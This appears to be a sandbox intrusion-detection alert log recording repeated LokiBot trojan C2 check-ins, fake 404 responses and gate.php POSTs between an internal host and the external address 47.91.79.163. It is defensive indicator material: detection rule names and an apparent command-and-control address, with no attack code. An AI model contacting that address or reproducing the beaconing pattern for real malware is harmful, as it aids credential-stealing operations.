12/03/20-10:03:35.504309	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49903	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.504309	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49903	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.504309	TCP	2025381	ET TROJAN LokiBot Checkin	49903	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.504309	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49903	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.504309	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49903	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.563085	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49903	47.91.79.163	192.168.2.3
12/03/20-10:03:36.040003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49904	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.040003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49904	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.040003	TCP	2025381	ET TROJAN LokiBot Checkin	49904	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.040003	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49904	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.040003	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49904	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.106219	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49904	47.91.79.163	192.168.2.3
12/03/20-10:03:36.607418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49905	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.607418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49905	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.607418	TCP	2025381	ET TROJAN LokiBot Checkin	49905	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.607418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49905	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.607418	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49905	80	192.168.2.3	47.91.79.163
12/03/20-10:03:36.665095	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49905	47.91.79.163	192.168.2.3
12/03/20-10:03:37.095774	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49906	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.095774	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49906	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.095774	TCP	2025381	ET TROJAN LokiBot Checkin	49906	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.095774	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49906	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.095774	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49906	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.155846	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49906	47.91.79.163	192.168.2.3
12/03/20-10:03:37.635993	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49907	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.635993	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49907	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.635993	TCP	2025381	ET TROJAN LokiBot Checkin	49907	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.635993	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49907	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.635993	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49907	80	192.168.2.3	47.91.79.163
12/03/20-10:03:37.696414	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49907	47.91.79.163	192.168.2.3
12/03/20-10:03:38.137931	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49908	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.137931	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49908	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.137931	TCP	2025381	ET TROJAN LokiBot Checkin	49908	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.137931	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49908	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.137931	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49908	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.195618	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49908	47.91.79.163	192.168.2.3
12/03/20-10:03:38.614970	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49909	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.614970	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49909	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.614970	TCP	2025381	ET TROJAN LokiBot Checkin	49909	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.614970	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49909	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.614970	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49909	80	192.168.2.3	47.91.79.163
12/03/20-10:03:38.673676	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49909	47.91.79.163	192.168.2.3
12/03/20-10:03:39.153875	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49910	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.153875	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49910	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.153875	TCP	2025381	ET TROJAN LokiBot Checkin	49910	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.153875	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49910	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.153875	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49910	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.215094	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49910	47.91.79.163	192.168.2.3
12/03/20-10:03:39.682728	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49911	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.682728	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49911	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.682728	TCP	2025381	ET TROJAN LokiBot Checkin	49911	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.682728	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49911	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.682728	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49911	80	192.168.2.3	47.91.79.163
12/03/20-10:03:39.788076	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49911	47.91.79.163	192.168.2.3
12/03/20-10:03:40.012777	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49912	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.012777	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49912	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.012777	TCP	2025381	ET TROJAN LokiBot Checkin	49912	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.012777	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49912	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.012777	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49912	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.177683	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49912	47.91.79.163	192.168.2.3
12/03/20-10:03:40.407026	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49913	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.407026	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49913	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.407026	TCP	2025381	ET TROJAN LokiBot Checkin	49913	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.407026	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49913	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.407026	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49913	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.478810	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49913	47.91.79.163	192.168.2.3
12/03/20-10:03:40.694808	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49914	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.694808	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49914	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.694808	TCP	2025381	ET TROJAN LokiBot Checkin	49914	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.694808	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49914	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.694808	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49914	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.754847	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49914	47.91.79.163	192.168.2.3
12/03/20-10:03:40.969555	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49915	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.969555	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49915	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.969555	TCP	2025381	ET TROJAN LokiBot Checkin	49915	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.969555	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49915	80	192.168.2.3	47.91.79.163
12/03/20-10:03:40.969555	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49915	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.031967	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49915	47.91.79.163	192.168.2.3
12/03/20-10:03:41.260655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49916	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.260655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49916	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.260655	TCP	2025381	ET TROJAN LokiBot Checkin	49916	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.260655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49916	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.260655	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49916	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.322048	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49916	47.91.79.163	192.168.2.3
12/03/20-10:03:41.552180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49917	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.552180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49917	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.552180	TCP	2025381	ET TROJAN LokiBot Checkin	49917	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.552180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49917	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.552180	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49917	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.623253	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49917	47.91.79.163	192.168.2.3
12/03/20-10:03:41.839243	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49918	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.839243	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49918	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.839243	TCP	2025381	ET TROJAN LokiBot Checkin	49918	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.839243	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49918	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.839243	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49918	80	192.168.2.3	47.91.79.163
12/03/20-10:03:41.890986	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49918	47.91.79.163	192.168.2.3
12/03/20-10:03:42.127761	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49919	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.127761	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49919	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.127761	TCP	2025381	ET TROJAN LokiBot Checkin	49919	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.127761	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49919	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.127761	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49919	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.191510	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49919	47.91.79.163	192.168.2.3
12/03/20-10:03:42.798963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49920	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.798963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49920	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.798963	TCP	2025381	ET TROJAN LokiBot Checkin	49920	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.798963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49920	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.798963	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49920	80	192.168.2.3	47.91.79.163
12/03/20-10:03:42.862197	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49920	47.91.79.163	192.168.2.3
12/03/20-10:03:43.096434	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49921	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.096434	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49921	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.096434	TCP	2025381	ET TROJAN LokiBot Checkin	49921	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.096434	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49921	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.096434	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49921	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.192491	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49921	47.91.79.163	192.168.2.3
12/03/20-10:03:43.408716	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49922	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.408716	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49922	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.408716	TCP	2025381	ET TROJAN LokiBot Checkin	49922	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.408716	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49922	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.408716	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49922	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.473149	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49922	47.91.79.163	192.168.2.3
12/03/20-10:03:43.685042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49923	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.685042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49923	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.685042	TCP	2025381	ET TROJAN LokiBot Checkin	49923	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.685042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49923	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.685042	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49923	80	192.168.2.3	47.91.79.163
12/03/20-10:03:43.770552	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49923	47.91.79.163	192.168.2.3
12/03/20-10:03:44.011091	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49924	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.011091	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49924	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.011091	TCP	2025381	ET TROJAN LokiBot Checkin	49924	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.011091	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49924	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.011091	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49924	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.159612	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49924	47.91.79.163	192.168.2.3
12/03/20-10:03:44.400610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49925	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.400610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49925	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.400610	TCP	2025381	ET TROJAN LokiBot Checkin	49925	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.400610	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49925	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.400610	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49925	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.459861	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49925	47.91.79.163	192.168.2.3
12/03/20-10:03:44.672942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49926	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.672942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49926	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.672942	TCP	2025381	ET TROJAN LokiBot Checkin	49926	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.672942	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49926	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.672942	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49926	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.739667	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49926	47.91.79.163	192.168.2.3
12/03/20-10:03:44.968766	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49927	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.968766	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49927	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.968766	TCP	2025381	ET TROJAN LokiBot Checkin	49927	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.968766	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49927	80	192.168.2.3	47.91.79.163
12/03/20-10:03:44.968766	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49927	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.026278	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49927	47.91.79.163	192.168.2.3
12/03/20-10:03:45.253695	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49928	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.253695	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49928	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.253695	TCP	2025381	ET TROJAN LokiBot Checkin	49928	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.253695	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49928	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.253695	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49928	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.313153	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49928	47.91.79.163	192.168.2.3
12/03/20-10:03:45.764949	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49929	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.764949	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49929	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.764949	TCP	2025381	ET TROJAN LokiBot Checkin	49929	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.764949	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49929	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.764949	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49929	80	192.168.2.3	47.91.79.163
12/03/20-10:03:45.849650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49929	47.91.79.163	192.168.2.3
12/03/20-10:03:46.322025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49930	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.322025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49930	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.322025	TCP	2025381	ET TROJAN LokiBot Checkin	49930	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.322025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49930	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.322025	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49930	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.379667	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49930	47.91.79.163	192.168.2.3
12/03/20-10:03:46.794392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49931	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.794392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49931	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.794392	TCP	2025381	ET TROJAN LokiBot Checkin	49931	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.794392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49931	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.794392	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49931	80	192.168.2.3	47.91.79.163
12/03/20-10:03:46.855204	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49931	47.91.79.163	192.168.2.3
12/03/20-10:03:47.319622	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49932	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.319622	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49932	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.319622	TCP	2025381	ET TROJAN LokiBot Checkin	49932	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.319622	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49932	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.319622	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49932	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.379466	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49932	47.91.79.163	192.168.2.3
12/03/20-10:03:47.887303	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49933	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.887303	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49933	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.887303	TCP	2025381	ET TROJAN LokiBot Checkin	49933	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.887303	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49933	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.887303	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49933	80	192.168.2.3	47.91.79.163
12/03/20-10:03:47.950901	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49933	47.91.79.163	192.168.2.3
12/03/20-10:03:48.444667	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49934	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.444667	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49934	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.444667	TCP	2025381	ET TROJAN LokiBot Checkin	49934	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.444667	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49934	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.444667	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49934	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.504372	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49934	47.91.79.163	192.168.2.3
12/03/20-10:03:48.999385	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49935	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.999385	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49935	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.999385	TCP	2025381	ET TROJAN LokiBot Checkin	49935	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.999385	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49935	80	192.168.2.3	47.91.79.163
12/03/20-10:03:48.999385	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49935	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.146350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49935	47.91.79.163	192.168.2.3
12/03/20-10:03:49.389665	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49936	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.389665	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49936	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.389665	TCP	2025381	ET TROJAN LokiBot Checkin	49936	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.389665	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49936	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.389665	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49936	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.483880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49936	47.91.79.163	192.168.2.3
12/03/20-10:03:49.706677	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49937	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.706677	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49937	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.706677	TCP	2025381	ET TROJAN LokiBot Checkin	49937	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.706677	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49937	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.706677	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49937	80	192.168.2.3	47.91.79.163
12/03/20-10:03:49.772139	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49937	47.91.79.163	192.168.2.3
12/03/20-10:03:50.340955	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49938	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.340955	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49938	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.340955	TCP	2025381	ET TROJAN LokiBot Checkin	49938	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.340955	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49938	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.340955	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49938	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.486014	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49938	47.91.79.163	192.168.2.3
12/03/20-10:03:50.701367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49939	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.701367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49939	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.701367	TCP	2025381	ET TROJAN LokiBot Checkin	49939	80	192.168.2.3	47.91.79.163
